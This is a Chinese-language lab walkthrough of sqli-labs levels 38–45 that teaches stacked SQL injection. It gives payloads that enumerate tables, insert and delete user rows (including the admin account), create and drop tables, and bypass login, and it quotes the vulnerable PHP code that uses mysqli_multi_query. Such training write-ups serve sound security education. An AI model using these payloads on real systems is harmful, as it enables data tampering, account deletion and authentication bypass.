当前位置: 首页 > article >正文

sqli-labs靶场详解(less38-less45)

堆叠注入


less-38

less-38

?id=1' and 1=1;%00 成功

?id=1' and 1=2;%00 失败

不是吧 这就出来了?

?id=1' order by 4;%00 报错 4列不行

?id=0' union select 1,2,3;%00 显示位置为2,3

?id=0' union select 1,database(),3;%00 数据库为security

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';%00  不至于吧 这就出来了 

看源码 

也没啥问题 于是发现这已经到了第三大关了 堆叠注入

搜索教程看看啥叫堆叠注入

搜索资料

例如以下这个例子:
用户输入:?id=1; delete from products服务器端生成的SQL语句为:select * from products where productid=1; delete from products当执行查询之后,第一条显示查询信息,第二条则是将整个表删除。

适用条件
用户采用PDO编程( POD(PHP Data Object))且没有对参数进行过滤
mysqli_multi_query()函数也可以造成堆叠注入

我们本次尝试的语句:
/?id=1';insert into users(id,username,password) values('100','abc','abc'); --+

去数据库中查看

成功

代码分析

<?php
if(isset($_GET['id'])) //判断id参数是否存在
{
$id=$_GET['id']; //获取id参数
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//日志
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);//用于连接数据库
if (mysqli_connect_errno($con1))//查看是否连接成功
{
    echo "Failed to connect to MySQL: " . mysqli_connect_error();//失败报错
}
else//连接指定security数据库
{
    @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//查询语句 注入点
if (mysqli_multi_query($con1, $sql))//一次执行可以执行多条语句 这个函数造成的堆叠注入
{
    if ($result = mysqli_store_result($con1))//将sql语句查询的结果保存到内存中 并返回一个对象
    {
        if($row = mysqli_fetch_row($result))//获取第一行数据
        {
            printf("Your Username is : %s", $row[1]);//第一列数据
            printf("Your Password is : %s", $row[2]);//第二列数据
        }
    }
    if (mysqli_more_results($con1))
    {
    }
}
else 
    {
	print_r(mysqli_error($con1)); 
    }
mysqli_close($con1);
}
	else { echo "Please input the ID as parameter with numeric value";}
?>

less-39

?id=1 and 1=1 成功

?id=1 and 1=2 失败

整型注入点

使用堆叠注入

?id=1;insert into users(id,username,password) values('101','abc','abc'); --+

代码分析

和上一关没区别 区别就是对参数的处理一个是整型 一个是单引号字符型


less-40

判断注入点

?id=1 and 1=1 成功

?id=1 and 1=2 成功

?id=1' 无输出结果 

以上分析 估计就是 无报错函数 为单引号字符型注入点

?id=1') and 1=1;%00 成功

?id=1') and 1=2;%00 失败

代码分析

同理 对参数的处理方式为')


less-41

?id=1' 不显示结果 证明还是和单引号有关

笑死我了 当成字符型试了好久 结果是整型

?id=1 and 1=1 成功

?id=1 and 1=2 无返回结果

和39关一样 就是没有了报错函数


less-42

感觉像二次注入 先不进行抓包 先看看登录界面注册页面都是什么

经过测试 username处是没有注入点的 不能使用二次注入 并且新建一次用户后不让我继续新建用户了 

发现password的位置报错了

&login_password=123' and '1'='1 不报错了估计是单引号 试试堆叠注入

&login_password=123' and '1'='1';insert into users(id,username,password) values('104','abc','abc');

报错函数也ok


less-43

和42关一样 我们这题加入不知道账号密码

该如何做

在密码位置有报错

不报错了 确定注入点了

判断出有3列

通过布尔的方式观察页面 列数不同

页面黑屏 但是并没有显示位置 联合查询不行

依旧是报错注入

但是考察的不是报错注入 而是叠加注入

我们通过报错注入发现有admin账户

使用叠加注入删除

login_user=tzy&login_password=tzy');delete from users where username='admin';--+&mysubmit=Login

admin用户不见了


less-44

采用盲注 无报错 百度搜的教程都是没有判断注入过程的 直接使用叠加注入 

login_user=tzy&login_password=tzy';delete from users where username='admin1';&mysubmit=Login

删除admin1用户


less-45

做到这题我才明白这种题怎么做

首先选择一个经常出现的用户名 采用万能密码登录 

a') OR 1 = 1#   采用万能密码有好处 就是可以确定注入点类型 如果符号引发报错也登录不成功 如果因为符号引发的报错会导致永真的条件失效 从而无法登陆

登陆成功 证明有注入点 接下来使用叠加注入 每次退出重新登陆添加构造的语句 其实都不用万能密码登录 因为 反正后面的sql语句都会执行 前面的执行还是不执行都不影响

a') OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#

a') OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#

a') OR 1 = 1;DELETE FROM WhiteMoon;#

a') OR 1 = 1;DROP TABLE WhiteMoon;#

最后发现 多条语句 前一条语句不报错的情况下 才能执行第二条语句

&login_password=tzy;DELETE FROM users WHERE username='admin2'; 不可执行

&login_password=tzy');DELETE FROM users WHERE username='admin2'; 可执行

后端sql语句

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);

$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";


http://www.kler.cn/news/155334.html

相关文章:

  • 如何使用PHPUnit编写一个PHP单元测试-简单的代码示例
  • 【LeetCode】每日一题 2023_12_3 可获得的最大点数(前缀和/滑动窗口/贪心)
  • 第十四章 算法和数据结构
  • 〖大前端 - 基础入门三大核心之JS篇㊺〗- 定时器和延时器
  • Qt面试题
  • 使用凌鲨进行内网穿透
  • WebUI自动化学习(Selenium+Python+Pytest框架)003
  • 循环神经网络RNN及其变体LSTM、GRU
  • QT 中 QTimer 类 备查
  • 计算机导论——第39章 文件和目录
  • SCAU:1065 数组中的指针
  • Hdoop学习笔记(HDP)-Part.17 安装Spark2
  • 数据领域建设的五大方向
  • 团队可能出现的问题以及应对方案
  • 基于深度学习面向中医诊断的舌象图像分割系统
  • Java链式编程、什么是链式编程、链式编程怎么调用,链式编程的使用形式,Builder模式实现链式编程(保姆级教程)
  • mysql8报sql_mode=only_full_group_by(存储过程一直报)
  • 【Go】EasyJson使用
  • Maven 进阶学习指南---setting详解
  • 测试Centos上用Gunicorn启动的Django-Web服务在Django源文件有改变的情况下能否自动重载最新源码下的web服务
  • 数据结构奇妙旅程之顺序表和链表
  • 进行主从复制时出现的异常FATAL CONFIG FILE ERROR (Redis 6.2.6)Reading the configuration file
  • Bean的加载方式
  • 利用vue3SeamlessScroll简单实现列表的无限循环滚动
  • V8引擎类型转换(VIP课程)
  • ConvBNReLU的作用
  • mac 聚焦搜索不显示
  • 三十六、seata的部署和集成
  • 前端面试JS—map 和 forEach 的区别
  • MxL3706-AQ-R 2.0通道绑定同轴网络集成电路特性